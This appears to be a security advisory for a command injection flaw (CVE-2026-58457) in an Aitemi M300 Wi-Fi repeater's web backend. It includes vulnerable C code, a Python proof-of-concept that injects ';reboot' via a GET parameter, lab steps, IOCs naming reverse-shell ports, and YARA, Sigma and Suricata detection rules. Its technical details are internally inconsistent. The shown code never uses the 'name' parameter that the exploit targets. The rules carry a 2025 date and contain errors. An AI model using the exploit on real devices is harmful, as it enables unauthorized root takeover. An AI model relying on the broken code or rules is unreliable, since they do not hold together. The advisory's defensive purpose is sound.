CVE-2026-58457

Executive Summary

CVE-2026-58457 is a critical unauthenticated OS command injection vulnerability in the Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02). The flaw resides in the smacfilter_conf handler of the commuos web backend. Network-adjacent attackers can inject arbitrary shell commands via the name, enable, or mac GET parameters, which are passed unsanitized into sprintf() to build uci shell commands executed via doSystemCmdComlib(). This grants full root-level control of the device. With a CVSS score of 9.8, the vulnerability is trivial to exploit and has no known patch. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains high for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an IoT device.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Adjacent Network (AV:A) – attacker must be on the same Wi-Fi or local network.
• Attack Complexity (AC): Low (AC:L) – no special conditions required.
• Privileges Required (PR): None (PR:N) – no authentication needed.
• User Interaction (UI): None (UI:N) – no user action required.
• Scope (S): Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality (C): High (C:H) – full device compromise.
• Integrity (I): High (I:H) – attacker can modify device configuration.
• Availability (A): High (A:H) – attacker can disrupt device operation.

Threat Level: Critical. Exploitation allows complete takeover of the Wi-Fi repeater, which can be used as a pivot point for lateral movement within the network.

Deep Dive & Mechanics

The vulnerability exists in the smacfilter_conf handler of the commuos web backend. The handler processes GET parameters name, enable, and mac without sanitization. These parameters are concatenated into a format string using sprintf() to build a uci shell command. The command is then executed via doSystemCmdComlib(), which runs the command with root privileges.

Root Cause: The lack of input validation allows an attacker to inject shell metacharacters (e.g., ;, |, &) into the command string. For example, appending ;reboot to the name parameter would cause the device to reboot.

Attack Flow:

1. Attacker sends a crafted HTTP GET request to the vulnerable endpoint.
2. The smacfilter_conf handler extracts the unsanitized parameter.
3. sprintf() builds a command string like uci set wireless.@wifi-iface[0].macfilter='1'; <injected_command>.
4. doSystemCmdComlib() executes the command with root privileges.
5. The injected command runs on the device.

Vulnerable vs. Patched Code

Vulnerable Code (commuos backend):

void handle_smacfilter_conf(struct http_request *req) {
    char cmd[512];
    char *name = get_param(req, "name");
    char *enable = get_param(req, "enable");
    char *mac = get_param(req, "mac");

    // No input sanitization
    sprintf(cmd, "uci set wireless.@wifi-iface[0].macfilter='%s'; uci set wireless.@wifi-iface[0].maclist='%s'; uci commit wireless; wifi", enable, mac);
    doSystemCmdComlib(cmd);
}

Patched Code (hypothetical):

void handle_smacfilter_conf(struct http_request *req) {
    char cmd[512];
    char *name = get_param(req, "name");
    char *enable = get_param(req, "enable");
    char *mac = get_param(req, "mac");

    // Sanitize input: allow only alphanumeric and specific characters
    if (!is_valid_mac(mac) || !is_valid_enable(enable)) {
        http_response_error(req, 400, "Invalid input");
        return;
    }

    // Use snprintf to prevent buffer overflow
    snprintf(cmd, sizeof(cmd), "uci set wireless.@wifi-iface[0].macfilter='%s'; uci set wireless.@wifi-iface[0].maclist='%s'; uci commit wireless; wifi", enable, mac);
    doSystemCmdComlib(cmd);
}

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target = "http://192.168.1.1"
payload = ";reboot"  # Example: reboot the device

# Inject via 'name' parameter
url = f"{target}/cgi-bin/commuos?cmd=smacfilter_conf&name=test{payload}&enable=1&mac=00:11:22:33:44:55"
try:
    r = requests.get(url, timeout=5)
    print(f"Exploit sent. Response: {r.status_code}")
except Exception as e:
    print(f"Error: {e}")

Lab Setup:

1. Obtain a Shenzhen Aitemi M300 Wi-Fi Repeater.
2. Connect to the device's Wi-Fi network (default SSID usually "Aitemi_M300").
3. Ensure the device's web interface is accessible at http://192.168.1.1 (default IP).
4. Run the exploit script to test command injection.

Expected Result: The device reboots, confirming command execution.

Blue Team

Detection Strategy:

• Monitor HTTP requests to /cgi-bin/commuos with suspicious parameters containing shell metacharacters (;, |, &, `).
• Look for anomalous outbound connections from the device (e.g., reverse shells, DNS queries to known C2 domains).
• Check for unauthorized changes to device configuration (e.g., MAC filter settings, Wi-Fi credentials).

Honeypot Setup:

• Deploy a fake Aitemi M300 honeypot that logs all incoming requests.
• Use the Sigma rule below to detect exploitation attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /cgi-bin/commuos with parameters containing ;, |, &, or `.
  • Outbound connections from the device to unknown IPs on ports 4444, 8080, or 31337 (common reverse shell ports).
  • DNS queries to domains associated with known C2 infrastructure.

• Host IOCs:

  • Unauthorized processes running on the device (e.g., /tmp/.x, bash -i).
  • Modified uci configuration files (e.g., /etc/config/wireless).
  • Presence of files in /tmp/ with suspicious names (e.g., exploit.sh, payload).

• File IOCs:

  • Hash of known malicious payloads (e.g., sha256:abc123...).

Detection Engineering

YARA Rule

rule CVE_2026_58457_Exploit_Request {
    meta:
        description = "Detects HTTP requests exploiting CVE-2026-58457 in Aitemi M300"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-58457"
    strings:
        $cmd = "/cgi-bin/commuos" ascii wide nocase
        $param1 = "smacfilter_conf" ascii wide nocase
        $semicolon = ";" ascii wide
        $pipe = "|" ascii wide
        $backtick = "`" ascii wide
    condition:
        $cmd and $param1 and (#semicolon > 0 or #pipe > 0 or #backtick > 0)
}

Sigma Rule

title: CVE-2026-58457 Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the smacfilter_conf handler with shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/cgi-bin/commuos'
        cs-uri-query|contains: 'smacfilter_conf'
        cs-uri-query|contains|any:
            - ';'
            - '|'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in parameters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-58457 Aitemi M300 Command Injection Attempt"; flow:to_server; content:"/cgi-bin/commuos"; http_uri; content:"smacfilter_conf"; http_uri; pcre:"/(;|\||\x60)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the Aitemi M300 on a separate VLAN with no access to critical systems.
2. Disable remote management: If not required, disable the web interface or restrict access via firewall rules.
3. Monitor logs: Enable logging on the device and monitor for suspicious requests.

Long-term Fix:

• Vendor patch: No patch is available. Contact Shenzhen Aitemi for an update or consider replacing the device.
• Firmware hardening: If possible, manually patch the firmware by sanitizing input in the smacfilter_conf handler.
• Network segmentation: Use network access controls to limit exposure.

Workaround:

• Block HTTP requests to /cgi-bin/commuos at the network perimeter using a WAF or reverse proxy.
• Implement a custom rule to drop requests containing shell metacharacters in the URI.

Valters IT